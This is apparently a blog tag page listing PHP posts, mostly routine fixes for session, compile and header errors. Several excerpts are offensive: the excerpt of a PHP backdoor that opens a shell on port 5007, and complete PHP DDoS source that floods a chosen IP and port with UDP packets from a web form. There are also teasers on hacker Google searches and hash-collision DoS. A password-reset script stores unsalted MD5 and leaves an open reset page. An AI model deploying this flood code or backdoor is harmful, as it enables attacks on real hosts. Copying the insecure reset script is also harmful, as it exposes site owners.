Posts Tagged ‘php’

Fix the PHP Error “Warning: Unknown: open” or “Warning: session_start(): open”

Today I adjust my php program, but there have been error “Warning: Unknown: open(d:/temp/tmp/sess_lco4pavd5fmkc60djl24islim6, O_RDWR) failed: No such file or directory (2) in Unknown on line 0” and “Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (d:/temp/tmp) in Unknown on line 0”

How to fix this error?

1.Check the directory "d:/temp/tmp" exists or not.Reset a really existed directory.Open php.ini or php5.ini ,set "session.save_path" a really existed directory.Remove the semicolon in front. Read more

A very good Encryption PHP Source Code

The very good encryption code.This algorithm is not reversible, please keep the source code.

< ?php
class Mcrypt
{
/**
* Decryption
*
* @param string $encryptedText Encrypted String
* @param string $key Key
* @return string
*/
public static function _decrypt($encryptedText,$key = null)
{ Read more

Temp Folder Permissions Problem Causes Site Failure in IIS PHP Environment

A few days ago my server became very slowly without reasons.When i open the PHP log file on c:\windows\temp ,
Suddenly ... stuck!

Decisively disable the Php error log.But does not solve the problem.Suddenly found a large number of files beginning with sess_ on the temp folder.The number has reached 100,000! Although only a total capacity of 300MB, but the space has reached 3G.It seems that the problem lies here!

Delete these files is required,but the process is very painful ... because the system stuck.At last use the del *.* /q /s to delete all the files. Read more

How to Fix Can Not Find the Openssl Library Files to Compile PHP in 64 Bit Operating System

Recently when i compiled the php 5.4.5 in my 64 bit operating system,it appeared the following errors:

1.checking for DSA_get_default_method in -lssl... yes  
2.checking for X509_free in -lcrypto... yes  
3.checking for pkg-config... /usr/bin/pkg-config  
4.configure: error: Cannot find OpenSSL's libraries 

There are my specified parameters of the compiler:

1./configure \
2.--prefix=/usr/local/services/php-5.4.5 \ Read more

A Php Backdoor Source Code

A Php Backdoor Source Code

This is a shell backdoor source code written in php script.Run it on a remote host.It will run to listen a port 5007.When you connect the remote host ,it will open a shell.But when i execute a command on the shell interface,i do not know if the instruction has been executed.It means i am not sure if the instruction is running or completed.

The source code :

<? php

error_reporting(0);
set_time_limit(0);

define('LISTEN_PORT', '5007'); Read more

Six Ways to Solve WordPress Lost Password

Six ways to solve WordPress lost password

Sometimes,because this or that reasons,you could lost the WordPress password.If it happened,what can we do to  find the WordPress lost password? There are six methods to get the WordPress lost password.

1.Reinstall WordPress. We do not recommend this method, reinstall the WordPress you would download the WordPress code again and it is too much trouble. It is the worst method.

2.Use the WordPress forgot password feature. WordPress supports mail password recovery feature.If the administrator's e-mail account is valid, in the login interface, click the "forgot your password? " link, after you enter the correct email address, you can receive a password reset message.Then you can reset your WordPress lost password.

3.Delete the WP-config.php file under the WP directory, and then you visit the Web site, which will let you repeat the last installation step, so that you can set a new password of your WordPress.

4.Login phpMyAdmin, find the wp_users table of the WordPress database, here you can see the default user admin,password is encrypted. Now, we can modify this data, find the user_pass field, delete its long data, write down your new password, for example, 123456.Then, you will see a drop down box function, select MD5. This is to encrypt your password with MD5 algorithm, then save. In this way, you can login your WordPress by this password.

5.Use SQL statements to modify the WordPress lost password. Login phpMyAdmin into the WordPress database and execute the following SQL statement:
UPDATE wp_users SET user_pass = MD5('PASSWORD') WHERE wp_users.user_login ='admin' LIMIT 1;

6.Use PHP codes to retrieve the WordPress lost password. PHP method is also using the SQL query statement,but provides a user interface. Copy the following code and save it as password-Reset.php file, upload to your WordPress root directory, and then run this file, enter the password to reset you lost WordPress password.

<?php
//password reset
include("wp-config.php");
include("wp-blog-header.php");
if (empty($_POST['emergency_pass'])) {
?>
<form method="post">
set admin password: <input name="emergency_pass" type="password" />
<input type="submit" />
</form>
<?php
} else {
$sql = "UPDATE ".$wpdb->users." SET user_pass = '".md5($_POST['emergency_pass'])."' WHERE User_login = 'admin'";
$link = $wpdb->query($sql);
wp_redirect('wp-login.php');
exit();
}
?>

Share Some Hackers’ Google Search Skills

Share Some Hackers' Google Search Skills

Everyone knows that no doubt Google is  the most powerful search engine in the world today. But it is also a secret weapon in the hands of hackers.It can search some information unexpected by you. Computerites blog make a simple conclusion does not hope to use it  to attack someone else's website. I hope everyone to use these computer skills to find useful information for you in the vast network information.

If you are a webmaster, you quickly look at if your site is well done at precautionary measures below hacker detection . If not quickly come to a remedy the situation.If you are a hacker, I believe you seen a similar method as early as in the other hacker sites.You can save valuable time to do more meaningful things.You could not read this article, go somewhere else.But if you are an ordinary Internet user, you can use hacker techniques to expand your horizons and improve your retrieval efficiency.

Now let us study the skills: Read more

Several Ways to Generate a Random Password Using PHP

Several Ways to Generate a Random Password Using PHP 

Using PHP to develop applications, especially web application is often necessary to generate a random password to generate a random password, such as user registration, user reset the password to generate a random password. Random password is a string of fixed-length string, I collected several methods to generate a random string for your reference.

Way 1:

1. In 33 - 126 to generate a random integer, such as 35.

2. 35 will be converted into the corresponding ASCII characters, such as 35 corresponding to #. Read more

PHP DDoS Attack Source Code

PHP DDOS Attack source code


index.php
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8″>
<meta name="author" content="">
<title>PHP DDoS Attack</title>
</head>
DDoS –>
<style type="text/css">
<!–
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
–>
</style>
DDoS –>
<body>
<center>
IP: <?php echo $ip; ?> (don't use your ip)
<br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="<span class=" />ip" size="15″ maxlength="15″ value ="0.0.0.0″ onblur = "if ( this.value==" ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0') this.value = ";">
&nbsp;
Time:
<input type="text" name="<span class=" />time" size="14″ maxlength="20″ value = "time(second)" onblur = "if ( this.value==" ) this.value = ‘time (in seconds)’;" onfocus = " if ( this.value =='time (in seconds)') this.value = ";">
&nbsp;
Port:
<input class="hiddenSpellError" type="text" name="port" value="socket" size="5" />onblur = "if ( this.value==") this.value ='port';"onfocus=" if (this.value=='port') this.value=";">
<br><br>
<input type="submit" value="attack&gt;">
<br><br>
</form>
</center>
<!– PHP DDOS–>
</body>
</html>

function.php
<?php
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out.= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (".round(($packets*65)/1024, 2)." mB) packets averaging ".round($packets/$exec_time,2). " packets/s \n";
?>

DDoS Attacks PHP Hash Vulnerability Causes of

DDoS attacks - PHP hash vulnerability causes of

DDoS PHP Attacks Vulnerability Principle:

Rely on the appropriate language of the hashtable/hashmap is the implementation process (request more than this structure), when different key deposit if the hash values are equal while the linked list connected to the front. This exploits the collision the same hash is worth to a long linked list, re-get the map calculation process the time complexity of the huge increase, originally a simple process will become a very expensive cpu process.

Impact on: Read more

Can You Believe? Let Your Website Gain Optional Google Page Rank

Can You Believe? Let Your Website Gain Optional Google Page Rank

If you want to gain optional Google PR, you just add the following codes(PHP code) to you homepage.

Fill a web address with Optional Google PR which you want after "Location:".For example if you fill Google.com,the Google PR is 10,if you fill msn.com ,the Google PR is 9.So you can choose a web address has the Google PR you want.Then in several days your web site will display the corresponding Google PR. Read more

The Simple Skill to Crack PHP Base64_decode

The Simple Skill to Crack PHP Base64_decode

Today,most of us use PHP to design the site in web design. Using PHP base64_decode + gzinflate PHP to compress and encode code in internet is more and more currently,the topic of encryption and decryption is never stopped. Here is a simple skill to crack the code encrypted by base64_decode + gzinflate. Many programmers now in order to protect their own copyright are more and Read more

Cannot Modify Header Information

If the program is running php see this warning: "Warning: Cannot modify header information - headers already sent by ...."
Few notes based on the following user posts:
There are several solutions:
1. Blank lines :
Make sure no blank line after of the calling php script.
Check is not followed by a blank line, in particular, include or require the file. Many problems caused by these blank lines. Read more